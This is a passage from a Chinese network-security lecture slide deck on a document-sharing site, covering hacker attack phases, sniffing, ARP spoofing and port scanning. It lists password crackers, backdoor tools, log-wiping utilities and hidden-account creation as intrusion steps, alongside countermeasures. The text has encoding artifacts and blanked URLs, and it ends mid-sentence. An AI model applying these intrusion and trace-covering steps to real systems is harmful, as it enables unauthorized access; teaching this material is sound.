




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
網(wǎng)絡(luò)信息安全幻燈片PPT
精品文檔優(yōu)質(zhì)文檔僅供學(xué)習(xí)精品文檔優(yōu)質(zhì)文檔僅供學(xué)習(xí)網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第1頁。第9章網(wǎng)絡(luò)攻擊黑客技術(shù)信息收集類攻擊入侵類攻擊欺騙類攻擊拒絕服務(wù)類攻擊網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第2頁。3
自從20世紀(jì)90年代以來,幾乎每一個(gè)計(jì)算機(jī)信息系統(tǒng)都是在網(wǎng)絡(luò)環(huán)境下運(yùn)行的。在網(wǎng)絡(luò)環(huán)境下工作的計(jì)算機(jī),除了經(jīng)常要受到病毒等惡意程序的侵害外,還要受到黑客的攻擊。這一章介紹黑客對于網(wǎng)絡(luò)的一些主要攻擊手段。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第3頁。4黑客技術(shù)網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第4頁。5常見名詞什么是黑客(Hacker的音譯)?源于動(dòng)詞Hack,其引申意義是指“干了一件非常漂亮的事”。就是精通計(jì)算機(jī)的網(wǎng)絡(luò)、系統(tǒng)、外設(shè)以及軟硬件技術(shù)的人。什么是駭客(Cracker,破壞者)?就是運(yùn)用自己的知識(shí)去做出有損他人權(quán)益的事情,就稱這種人為駭客。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第5頁。6黑客入侵1995年8月21日,設(shè)防嚴(yán)密的花旗銀行(CITYBANK)被前蘇聯(lián)克格勃人員通過Internet侵入,損失現(xiàn)金高達(dá)1160萬美元。而為了弄清真相并防止入侵者故伎重演,花旗銀行又不得不出資580萬美元的現(xiàn)金讓入侵者講述入侵秘密和詳細(xì)步驟。黑客們攻擊的對象往往是要害部門。據(jù)美國五角大樓的一個(gè)研究小組稱,美國國防部一年中遭受到的攻擊就達(dá)25萬次之多。1997年由于黑客入侵美國空軍防務(wù)系統(tǒng),迫使五角大樓把防務(wù)網(wǎng)絡(luò)關(guān)閉24小時(shí)。1996年8月17日,黑客入侵美國司法部,將“美國司法部”的主頁改成了“美國不公正部”,將司法部部長的照片換成了阿道夫·希特勒,將司法部的徽章?lián)Q成了納粹黨的黨徽,并加上一張色情女郎的圖片作為司法部長的助手。同年的9月18日,黑客們又將美國“中央情報(bào)局”主頁改成了“中央愚蠢局”。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第6頁。7黑客入侵1999年4月26日,臺(tái)灣大同工學(xué)院資訊工程系學(xué)生陳盈豪制造的“CIH”病毒發(fā)作,震撼了全球,據(jù)保守的估計(jì)至少有6000萬部電腦受害。2000年2月5日夜晚,國際著名的Yahoo、CNN(電子港灣)、亞馬遜、微軟網(wǎng)絡(luò)等五大網(wǎng)站在DDoS(DistributedDenialofService,分布式拒絕服務(wù))有組織地攻擊下相繼落馬。DDoS是一種讓計(jì)算機(jī)或網(wǎng)絡(luò)大量地超載使用TCP、UDP或ICMP的網(wǎng)絡(luò)通信量從而使之崩潰的攻擊。在2月7,8,9三天里,它使這些著名網(wǎng)站的損失高達(dá)10億美元,其中僅營業(yè)和廣告收入一項(xiàng)就達(dá)1億美元。2000年5月4日,開始發(fā)作的“ILoveYou”病毒如野火般地肆虐美國,進(jìn)而襲擊全球,至少造成100億美元的損失。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第7頁。8常見名詞漏洞:這個(gè)名詞根據(jù)字面意思就可以理解,就好象一個(gè)房子,門很結(jié)實(shí),可是有個(gè)窗戶卻不好,這就很可能造成被別人進(jìn)入,入侵是也是相對的,必須要有漏洞才可以入侵。后門:這個(gè)就是入侵后為方便我們下次進(jìn)入肉雞方便點(diǎn)所留下的東西,親切的稱為后門。端口:這個(gè)是入侵是很重要的一個(gè)環(huán)節(jié),端口這個(gè)東西就好象是我要買東西,需要在1號(hào)窗口來結(jié)帳,而開放的1號(hào)窗口就好比響應(yīng)的端口,端口可以形象的比喻成窗口。不同的端口開放了不同的服務(wù)。肉雞:不是吃的那種,是中了我們的木馬,或者留了后門,可以被我們遠(yuǎn)程操控的機(jī)器,現(xiàn)在許多人把有WEBSHELL權(quán)限的機(jī)器也叫肉雞。webshell常常被稱為匿名用戶(入侵者)通過WEB服務(wù)端口對WEB服務(wù)器有某種程度上操作的權(quán)限,由于其大多是以網(wǎng)頁腳本的形式出現(xiàn),也有人稱之為網(wǎng)站后門工具。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第8頁。9黑客攻擊的發(fā)展趨勢目前,黑客攻擊有如下發(fā)展趨勢:(1)攻擊工具的簡單化:目前,黑客工具的技術(shù)性越來越高,使用越來越簡單,并且大多是圖形化界面,容易操作。(2)攻擊目標(biāo)針對化:黑客攻擊的目標(biāo)越來越有針對性,并主要是針對意識(shí)形態(tài)和商業(yè)活動(dòng),如Yahoo事件。(3)攻擊方式系統(tǒng)化:黑客在攻擊方式、時(shí)間、規(guī)模等方面一般都進(jìn)行了長時(shí)間的準(zhǔn)備和部署,系統(tǒng)地進(jìn)行攻擊。(4)攻擊時(shí)間持續(xù)化:由于網(wǎng)絡(luò)協(xié)議的漏洞和追蹤力量的薄弱,黑客肆無忌憚地對目標(biāo)進(jìn)行長時(shí)間的攻擊。例如,網(wǎng)站曾承受過DDoS長達(dá)40余天的攻擊。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第9頁。10黑客攻擊的一般過程網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第10頁。11黑客攻擊的一般過程1.踩點(diǎn)黑客確定了攻擊目標(biāo)后,一般要收集被攻擊者的信息:目標(biāo)機(jī)的類型、IP地址、所在網(wǎng)絡(luò)的類型;操作系統(tǒng)的類型、版本;系統(tǒng)管理人員的名字、郵件地址;……。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第11頁。12黑客攻擊的一般過程對攻擊對象信息的分析,可找到被攻擊對象的脆弱點(diǎn)。為了獲得這些信息,黑客要利用一些技術(shù)。例如:運(yùn)行一個(gè)host命令,可以獲得被攻擊目標(biāo)機(jī)的IP地址信息,還可以識(shí)別出目標(biāo)機(jī)操作系統(tǒng)的類型;利用whois查詢,可以了解技術(shù)管理人員的名字;運(yùn)行一些Usernet和Web查詢,可以了解有關(guān)技術(shù)人員是否經(jīng)常上Usernet等;利用DNS區(qū)域傳送工具dig、nslookup及Windows版本的SamSpade(網(wǎng)址為),獲取目標(biāo)域中的所有主機(jī)信息;一個(gè)管理人員經(jīng)常討論的問題也可以表明其技術(shù)水平的高低等。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第12頁。13黑客攻擊的一般過程2.掃描“蒼蠅不叮無縫的蛋“。系統(tǒng)的漏洞會(huì)為攻擊提供機(jī)會(huì)和入口。在踩點(diǎn)獲得的信息的基礎(chǔ)上,黑客常編寫或收集適當(dāng)?shù)墓ぞ撸谳^短的時(shí)間內(nèi)對目標(biāo)系統(tǒng)進(jìn)行掃描,進(jìn)一步確定攻擊對象的漏洞。漏洞掃描就是自動(dòng)檢測計(jì)算機(jī)網(wǎng)絡(luò)系統(tǒng)在安全方面存在的可能被黑客利用的脆弱點(diǎn)。漏洞掃描技術(shù)通過安全掃描程序?qū)崿F(xiàn)。所謂掃描,包含了非破壞性原則,即不對網(wǎng)絡(luò)造成任何破壞。在實(shí)施策略上可以采用被動(dòng)式和主動(dòng)式兩種策略。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第13頁。14黑客攻擊的一般過程(1)被動(dòng)式掃描策略 被動(dòng)式掃描策略主要檢測系統(tǒng)中不合適的設(shè)置、脆弱的口令以及同安全規(guī)則相抵觸的對象,具體還可以分為如下幾類:(a)基于主機(jī)的掃描技術(shù),通常它涉及系統(tǒng)的內(nèi)核、文件的屬性、操作系統(tǒng)的補(bǔ)丁等問題,能把一些簡單的口令解密和剔除,能非常準(zhǔn)確地定位系統(tǒng)存在的問題,發(fā)現(xiàn)漏洞。缺點(diǎn)是與平臺(tái)相關(guān),升級(jí)復(fù)雜。(b)基于目標(biāo)的掃描技術(shù),基于目標(biāo)的掃描技術(shù)的基本原理是基于消息加密算法和哈希函數(shù),如果函數(shù)的輸入有一點(diǎn)變化,輸出就會(huì)發(fā)生很大變化。這樣文件和數(shù)據(jù)流的細(xì)微變化就會(huì)被感知。基于目標(biāo)的掃描技術(shù)通常用于檢測系統(tǒng)屬性和文件屬性,如數(shù)據(jù)庫、注冊號(hào)等。然后產(chǎn)生檢驗(yàn)數(shù),把這些檢驗(yàn)數(shù)同原來的檢驗(yàn)數(shù)相比較。一旦發(fā)現(xiàn)改變就通知管理員。(c)基于應(yīng)用的掃描技術(shù),這種技術(shù)主要用于檢查應(yīng)用軟件包的設(shè)置和安全漏洞。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第14頁。15黑客攻擊的一般過程(2)主動(dòng)式掃描策略主動(dòng)式掃描策略是基于網(wǎng)絡(luò)的掃描技術(shù),主要通過一些腳本文件對系統(tǒng)進(jìn)行攻擊,記錄系統(tǒng)的反應(yīng),從中發(fā)現(xiàn)漏洞。(3)掃描工具 目前,掃描程序已經(jīng)發(fā)展到了幾十種,有的小巧快捷,有的界面友好;有的功能單一,有的功能完善。被廣泛使用的掃描程序有如下一些。(a)Ping掃射Ping掃射可以判別主機(jī)是否“活動(dòng)”。Ping向目標(biāo)主機(jī)發(fā)送ICMP回射請求分組,并期待目標(biāo)系統(tǒng)關(guān)于活動(dòng)的回射應(yīng)答分組。常用的Ping掃射工具有:操作系統(tǒng)的Ping命令和用于掃射網(wǎng)段的fping和WS_ping等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第15頁。16黑客攻擊的一般過程(b)端口掃描掃描TCP/UDP端口號(hào),可以確定正在運(yùn)行的服務(wù)及其版本號(hào),以發(fā)現(xiàn)相應(yīng)的服務(wù)程序的漏洞。在UNIX系統(tǒng)上運(yùn)行的重要掃描工具有:Netcat(/research/tools/networkutilities)Nmap(/nmao)在Windows系統(tǒng)上運(yùn)行的重要掃描工具有:superscan(/get/superscan.shtml)NetScanToolPro2003()(c)旗標(biāo)獲取旗標(biāo)獲取是通過一個(gè)打開的端口,來聯(lián)系和識(shí)別系統(tǒng)提供的服務(wù)及版本號(hào)。如連接到一個(gè)端口,按幾次Enter鍵,看返回的信息是什么。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第16頁。17黑客攻擊的一般過程(d)操作系統(tǒng)檢測許多漏洞與操作系統(tǒng)有關(guān)。因此,黑客要首先確定操作系統(tǒng)的類型。如圖所示,目前操作系統(tǒng)檢測按技術(shù)原理可以分為:利用系統(tǒng)旗標(biāo)信息和利用TCP/IP堆棧指紋兩種;按鑒別的主動(dòng)性可以分為:主動(dòng)鑒別和被動(dòng)鑒別。目前常用的操作系統(tǒng)檢測工具有:Nmap,Queso(/projectz/gueso),Siphon()網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第17頁。18黑客攻擊的一般過程3.查點(diǎn)查點(diǎn)就是搜索特定系統(tǒng)上用戶、用戶組名、路由表、SNMP信息、共享資源、服務(wù)程序及旗標(biāo)等信息。 查點(diǎn)采用的技術(shù)依操作系統(tǒng)而定:(1)Windows系統(tǒng)上的主要技術(shù)查點(diǎn)NetBIOS線路空會(huì)話(NullSession)SNMP代理活動(dòng)目錄(ActiveDirectory)其他網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第18頁。19黑客攻擊的一般過程Windows系統(tǒng)上使用的主要工具:(a)Windows系統(tǒng)命令:netview、nbtstat、nbtscan和nltest。(b)第三方工具Netviewx(http://www.ibt.ku.dk/jesper/NetViewX/default.htm)Userdump(/downloadt.htm)User2sid()GetAcct()DumpSec()Legion()NAT(http://www.hackingexposed.cotm
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第19頁。20黑客攻擊的一般過程(2)UNIX系統(tǒng)上的主要技術(shù)PRG查點(diǎn)NIS查點(diǎn)NFS查點(diǎn)SNMP查點(diǎn)UNIX系統(tǒng)上常用的工具有:rpcinfo、rpcdump、shomount、finger、rwho、ruser、nmap、telnet、nc和snmpwalk等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第20頁。21黑客攻擊的一般過程4.模擬攻擊進(jìn)行模擬攻擊,測試對方反應(yīng),找出毀滅入侵證據(jù)的方法。5.獲取訪問權(quán) 獲取訪問權(quán)是入侵的正式開始。(1)Windows系統(tǒng)上的主要技術(shù)NetBIOS-SMB密碼猜測;竊聽LM及NTLM認(rèn)證散列攻擊IISWeb服務(wù)器遠(yuǎn)程緩沖區(qū)溢出網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第21頁。22黑客攻擊的一般過程(2)UNIX系統(tǒng)上的主要技術(shù)蠻力密碼攻擊密碼竊聽數(shù)據(jù)驅(qū)動(dòng)式攻擊(如緩沖區(qū)溢出、輸入驗(yàn)證、字典攻擊等)RPC攻擊NFS攻擊針對X-Windows系統(tǒng)的攻擊其他網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第22頁。23黑客攻擊的一般過程著名的密碼竊聽工具:snifferpro()TCPdumpLC4(L0phtcrackversion4,/reseach/lc)readsmb著名的字典攻擊工具:LC4JohntheRIPper(/jiohn)NATSMBGrind()fgrind網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第23頁。24黑客攻擊的一般過程6.權(quán)限提升黑客一旦獲取了訪問權(quán),就會(huì)試圖將自己的普通用戶權(quán)限提升至超級(jí)用戶權(quán)限,以對系統(tǒng)進(jìn)行完全控制。權(quán)限提升主要的技術(shù)是口令破解、利用漏洞以及不當(dāng)配置等進(jìn)行。常用口令破解工具有:JohnTheRIPper??梢缘玫焦芾韱T權(quán)限的工具有:lc_message、getadmin、sechole、Invisible、Keystroke、Logger(/iksnt.htm)。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第24頁。25黑客攻擊的一般過程7.竊取竊取就是對一些敏感數(shù)據(jù)的篡改、添加、刪除和復(fù)制,以及通過對敏感數(shù)據(jù)的分析,為進(jìn)一步攻擊應(yīng)用系統(tǒng)做準(zhǔn)備。8.掩蓋蹤跡掩蓋蹤跡,即清除自己所有的入侵痕跡。主要工作有:禁止系統(tǒng)審計(jì)、隱藏作案工具、清空事件日志(使用zap、wzap、wted等)、替換系統(tǒng)常用操作命令等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第25頁。26黑客攻擊的一般過程9.創(chuàng)建后門創(chuàng)建后門是為了以后的入侵打開一個(gè)缺口,使入侵者能卷土重來,以特權(quán)用戶身份控制整個(gè)系統(tǒng)。主要工作有:創(chuàng)建具有特權(quán)用戶權(quán)限的虛假用戶賬號(hào);安裝批處理或遠(yuǎn)程控制工具;使用木馬程序替換系統(tǒng)程序;安裝監(jiān)控程序;感染啟動(dòng)文件。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第26頁。27黑客攻擊的一般過程黑客常用的創(chuàng)建后門的工具有:rootkit、cron、at、secadmin、InvisibleKeystoke、remove.exe、rc(UNIX)Windows啟動(dòng)文件夾su7()Netcat(/research/tools)VNC()BO2K(/projects/bo2k)網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第27頁。28黑客攻擊的一般過程10.拒絕服務(wù)攻擊拒絕服務(wù)是指利用協(xié)議或不同系統(tǒng)實(shí)現(xiàn)的漏洞,使目標(biāo)服務(wù)器資源耗盡或過載、沒有能力向外提供服務(wù)的攻擊。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第28頁。29信息收集類攻擊網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第29頁。30Sniffer(嗅覺器)Sniffer(嗅覺器)是一個(gè)用于捕獲網(wǎng)絡(luò)報(bào)文的軟件。它可以用來進(jìn)行網(wǎng)絡(luò)流量分析,找出網(wǎng)絡(luò)中潛在問題,確定在通信所使用的多個(gè)協(xié)議中,屬于不同協(xié)議的流量大小,哪臺(tái)主機(jī)承擔(dān)主要協(xié)議的通信;哪臺(tái)主機(jī)是主要的通信目的地,報(bào)文發(fā)送的時(shí)間是多少,主機(jī)間報(bào)文傳送的時(shí)間間隔等,是網(wǎng)絡(luò)管理員的一個(gè)常用工具。當(dāng)一段網(wǎng)絡(luò)運(yùn)行不好,速度較慢而又找不出問題所在時(shí),用Sniffer往往可以做出精確判斷。Sniffer可以捕獲網(wǎng)絡(luò)報(bào)文這一用處,也可以被黑客用來捕獲網(wǎng)絡(luò)中傳輸?shù)挠脩艨诹?、金融賬號(hào)、機(jī)密或敏感數(shù)據(jù)、專用數(shù)據(jù)、低級(jí)協(xié)議信息等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第30頁。31Sniffer的工作原理(1)在共享網(wǎng)絡(luò)中的嗅覺器共享信道是Sniffer捕獲信息的根本所在。這里,共享意味著一臺(tái)計(jì)算機(jī)能夠接收到其他計(jì)算機(jī)之間通信的信息,或者說同一網(wǎng)段的網(wǎng)絡(luò)所有接口都有訪問在物理媒體上傳輸數(shù)據(jù)的能力。以太網(wǎng)的特點(diǎn)就是這樣的一種共享網(wǎng)絡(luò)。在以太網(wǎng)中,每個(gè)接口有一個(gè)與其他網(wǎng)絡(luò)接口不同的硬件地址,同時(shí)網(wǎng)段還有一個(gè)向所有傳輸?shù)膹V播地址。一個(gè)合法的網(wǎng)絡(luò)接口應(yīng)該只響應(yīng)這兩種地址。當(dāng)局域網(wǎng)中的某臺(tái)計(jì)算機(jī)將網(wǎng)絡(luò)接口配置成混雜(Promiscuous)模式后,就可以接收網(wǎng)絡(luò)上的所有報(bào)文和數(shù)據(jù)幀了。這臺(tái)計(jì)算機(jī)上安裝的用于處理捕獲報(bào)文的軟件,就是一個(gè)嗅覺器。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第31頁。32Sniffer工作在網(wǎng)絡(luò)環(huán)境中的底層,它會(huì)“嗅”到所有在網(wǎng)絡(luò)上傳輸?shù)臄?shù)據(jù)。由于在一個(gè)以太網(wǎng)中,賬號(hào)和口令都是以明文形式傳輸?shù)?,因此一旦入侵者獲取了其中一臺(tái)主機(jī)的管理員權(quán)限,并將其配置成混雜模式,它就有可能對網(wǎng)絡(luò)中的其他所有計(jì)算機(jī)發(fā)起攻擊。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第32頁。33Sniffer的工作原理(2)交換式網(wǎng)絡(luò)上的Sniffer交換式網(wǎng)絡(luò)不是共享網(wǎng)絡(luò),交換式設(shè)備可以準(zhǔn)確地將數(shù)據(jù)報(bào)文發(fā)給目的主機(jī)。這樣,安裝了Sniffer的主機(jī)可能收不到某些數(shù)據(jù)包,Sniffer軟件也就不能工作。但是,在交換環(huán)境中,Sniffer攻擊也并非完全不可能。一個(gè)簡單的方法,就是將安裝有Sniffer軟件的計(jì)算機(jī)偽裝成為網(wǎng)關(guān)。網(wǎng)關(guān)是一個(gè)網(wǎng)絡(luò)與其他網(wǎng)絡(luò)之間的接口,所有發(fā)往其他網(wǎng)絡(luò)的數(shù)據(jù)包都必須經(jīng)過網(wǎng)關(guān)轉(zhuǎn)發(fā),即一個(gè)局域網(wǎng)上發(fā)往其他網(wǎng)絡(luò)的數(shù)據(jù)幀的目標(biāo)地址都是指向網(wǎng)關(guān)的。如果把安裝有Sniffer軟件的計(jì)算機(jī)偽裝成為網(wǎng)關(guān),Sniffer就能嗅到本地網(wǎng)中的數(shù)據(jù)。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第33頁。34Sniffer的工作原理如圖所示,一個(gè)交換網(wǎng)絡(luò)中有三臺(tái)主機(jī):A:IP地址為;B:IP地址為,入侵者;C:IP地址為,網(wǎng)關(guān)。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第34頁。35Sniffer的工作原理在正常情形下,B無法收到A與C之間的通信報(bào)文的。但是,若在B上運(yùn)行ARP欺騙的軟件ARPredirect(dsniff軟件的一部分),并發(fā)出一條命令A(yù)RPredirect–t就可以將該網(wǎng)絡(luò)中主機(jī)發(fā)送的數(shù)據(jù)報(bào)文重定向:ARPredirect就開始向A發(fā)假冒的ARP應(yīng)答,說B是網(wǎng)關(guān);A就會(huì)刷新自己的緩存,將B的硬件地址作為網(wǎng)關(guān)地址保存。這樣,當(dāng)A需要同其他網(wǎng)絡(luò)中的主機(jī)進(jìn)行通信時(shí),就會(huì)依據(jù)緩存中的網(wǎng)關(guān)地址(現(xiàn)在是B),先把數(shù)據(jù)包發(fā)往B;B可以先竊取A發(fā)出的數(shù)據(jù)包中的有關(guān)信息,再用IP轉(zhuǎn)發(fā)或其他軟件將這些數(shù)據(jù)包轉(zhuǎn)發(fā)到C,發(fā)出去。對A來說,一切都非常正常,但有關(guān)內(nèi)容已經(jīng)被竊去。
網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第35頁。36Sniffer的工作原理
當(dāng)然,如果在A上用ARP命令查看ARP高速緩存,可以發(fā)現(xiàn)網(wǎng)關(guān)地址已經(jīng)被換掉了。因此,在交換環(huán)境中,一個(gè)ARP(地址解析——將IP地址解析為局域網(wǎng)中的MAC地址)欺騙加上一個(gè)Sniffer軟件,同樣可以實(shí)現(xiàn)Sniffer攻擊。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第36頁。37Sniffer的工作原理2.Sniffer產(chǎn)品(1)SnifferProSnifferPro是NAI公司開發(fā)的一種圖形界面嗅覺器。它功能強(qiáng)大,能全面監(jiān)視所有網(wǎng)絡(luò)信息流量,識(shí)別和解決網(wǎng)絡(luò)問題,是目前唯一能夠?yàn)槠邔覱SI網(wǎng)絡(luò)模型提供全面性能管理的工具。(2)Libpcap/WinpcapLibpcap是PacketCaptureLibrary(數(shù)據(jù)包捕獲函數(shù)庫)的縮寫與重組。它不是一個(gè)Sniffer,但是它提供的C語言函數(shù)接口可用于對經(jīng)過網(wǎng)絡(luò)接口數(shù)據(jù)包的捕獲,以支持Sniffer產(chǎn)品的開發(fā)。Winpcap是Libpcap的Win32版本。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第37頁。38Sniffer的工作原理(3)DsniffDsniff是DugSong編寫的一個(gè)功能強(qiáng)大的工具軟件包,它可以支持多種協(xié)議類型,包括FTP、telnet、rlogin、Ldap、SMTP、Pop、Imap、IRC、ICQ、MS-CHAP、Npster、Citrix、ICA、PCAnywher、SNMP、OSPF、PPTP、X11、NFS、RIP、RIP、VRRP、OracleSQL*Net、MicrosoftSQLprotocol、PostgreSQL等。(4)Tcpdump/WindumpTcpdump是一個(gè)傳統(tǒng)的嗅覺器,通過將網(wǎng)卡設(shè)置為混雜模式截取幀進(jìn)行工作。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第38頁。39Sniffer的防范Sniffer攻擊屬第二層攻擊,通常是入侵者進(jìn)入目標(biāo)系統(tǒng)后,為了獲取更多的信息而采用的攻擊手段。為了達(dá)到好的攻擊效果,它要被放置在下列位置:被攻擊對象(主機(jī)或網(wǎng)絡(luò))附近;網(wǎng)關(guān)上。Sniffer的防范方法大體有如下一些。(1)規(guī)劃網(wǎng)絡(luò)一般將網(wǎng)絡(luò)分段劃分得越細(xì),Sniffer收集到的信息越少。(2)采用加密通信加密后,即使Sniffer捕獲了數(shù)據(jù),也難于獲得數(shù)據(jù)的原文。目前比較流行的做法是使用SSL協(xié)議和SSH(下在地址為)安全產(chǎn)品。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第39頁。40Sniffer的防范(3)監(jiān)測Sniffer監(jiān)測Sniffer就是確定網(wǎng)絡(luò)上有無Sniffer在運(yùn)行。當(dāng)有Sniffer運(yùn)行時(shí),會(huì)觀察到一些異常情況,如(a)用ping命令等測試發(fā)現(xiàn)網(wǎng)絡(luò)出現(xiàn)較高的丟包率,因?yàn)楸O(jiān)聽會(huì)使數(shù)據(jù)包不順暢傳送;(b)通過帶寬控制器觀察網(wǎng)絡(luò)帶寬反常;(c)使用MD5校驗(yàn)工具(如TripWare——下載地址為)等,發(fā)現(xiàn)單機(jī)上的Sniffer。(d)使用Anti-Sniffer、promisc、cmp(/antisniff/)等,發(fā)現(xiàn)大型網(wǎng)絡(luò)上的Sniffer。(e)測試網(wǎng)絡(luò)接口有無被設(shè)置成混雜模式,因?yàn)殡m然在非混雜模式下可以運(yùn)行Sniffer,但只有在混雜模式下才可以捕獲共享網(wǎng)絡(luò)中的所有會(huì)話。對于SunOS、Linux和BSDUnix可以采用命令:
ifconfig-a網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第40頁。41掃描器掃描器是自動(dòng)檢測遠(yuǎn)程或本地主機(jī)安全性弱點(diǎn)的程序,它不僅是黑客們的作案工具,也是管理人員維護(hù)網(wǎng)絡(luò)安全的有力工具。主要用于收集系統(tǒng)信息(遠(yuǎn)程操作系統(tǒng)的識(shí)別、網(wǎng)絡(luò)結(jié)構(gòu)的分析以及其他敏感信息的收集)和發(fā)現(xiàn)漏洞。常用的掃描器很多,如網(wǎng)絡(luò)安全掃描器NSS、超級(jí)優(yōu)化TCP端口檢測程序Strobe、安全管理員網(wǎng)絡(luò)分析工具SATAN等。1.掃描類型 具體地說,掃描是通過向目標(biāo)主機(jī)發(fā)送數(shù)據(jù)報(bào)文,從響應(yīng)中獲得目標(biāo)主機(jī)的有關(guān)信息。按照掃描方式,可以將掃描分為如下3種主要類型。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第41頁。42掃描器(1)地址掃描地址掃描就是判斷某個(gè)IP地址上有無活動(dòng)主機(jī),以及某臺(tái)主機(jī)是否在線。最簡單的地址掃描方法是使用ping命令,用ping命令向目標(biāo)主機(jī)發(fā)送ICMP回顯請求報(bào)文,并等待ICMP回顯應(yīng)答。如果ping不到某臺(tái)主機(jī),就表明它不在線。
Ping命令的發(fā)送可以手工一條一條地進(jìn)行,也可以用Fping等工具進(jìn)行大范圍的地址掃描,得到一個(gè)網(wǎng)段中的在線地址列表。但是,由于用戶安全意識(shí)的提高,很多路由器和防火墻的規(guī)則中都增加了丟棄ICMP回顯請求數(shù)據(jù)包,或在主機(jī)中進(jìn)行了禁止請求應(yīng)答,使得地址掃描難于進(jìn)行。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第42頁。43掃描器(2)端口掃描在TCP/IP網(wǎng)絡(luò)中,端口號(hào)是主機(jī)上提供的服務(wù)的標(biāo)識(shí)。例如,F(xiàn)TP服務(wù)的端口號(hào)為21、Telnet服務(wù)的端口號(hào)為23、DNS服務(wù)的端口號(hào)為53、Http服務(wù)的端口號(hào)為80等。入侵者知道了被攻擊主機(jī)的地址后,還需要知道通信程序的端口號(hào);只要掃描到相應(yīng)的端口被打開著,就知道目標(biāo)主機(jī)上運(yùn)行著什么服務(wù),以便采取針對這些服務(wù)的攻擊手段。(3)漏洞掃描漏洞是系統(tǒng)所存在的安全缺陷或薄弱環(huán)節(jié)。入侵者通過掃描可以發(fā)現(xiàn)可以利用的漏洞,并進(jìn)一步通過漏洞收集有用信息或直接對系統(tǒng)實(shí)施威脅。管理人員可以通過掃描對所管理的系統(tǒng)和網(wǎng)絡(luò)進(jìn)行安全審計(jì),檢測系統(tǒng)中的安全脆弱環(huán)節(jié)。常用的掃描工具有Xscan等。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第43頁。44掃描器2.掃描技術(shù)(1)半開放掃描
TCP連接通過三次握手建立。如圖表示了一個(gè)建立TCP連接的三次握手過程。若主機(jī)B運(yùn)行一個(gè)服務(wù)器進(jìn)程,則它要首先發(fā)出一個(gè)被動(dòng)打開命令,要求它的TCP準(zhǔn)備接收客戶進(jìn)程的連接請求,然后服務(wù)器進(jìn)程就處于“聽”狀態(tài),不斷檢測有無客戶進(jìn)程發(fā)起連接的請求。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當(dāng)前為第44頁。45掃描器若主機(jī)A中運(yùn)行有客戶進(jìn)程。當(dāng)它需要服務(wù)器的服務(wù)時(shí),就要向它的TCP發(fā)出主動(dòng)連接命令,由其TCP向主機(jī)B的TCP發(fā)出連接請求報(bào)文,在該連接請求報(bào)文中將同步比特位置1,并選擇一個(gè)將要傳送的數(shù)據(jù)的序號(hào)x。主機(jī)B收到A的連接請求報(bào)文,就完成了第一次握手。主機(jī)B如果同意連接,其TCP就向A發(fā)回確認(rèn)報(bào)文。在該確認(rèn)報(bào)文中,應(yīng)將SYN置1,確認(rèn)序號(hào)置x+1,同時(shí)為自己選擇一個(gè)序號(hào)y。主機(jī)A接收到該確認(rèn)報(bào)文,完成第二次握手。接著,主機(jī)A的TCP就還要向主機(jī)B發(fā)出確認(rèn),并置確認(rèn)序號(hào)為y+1。主機(jī)B收到主機(jī)A的確認(rèn)報(bào)文,完成第三次握手過程。網(wǎng)絡(luò)信息安全幻燈片PPT全文共168頁,當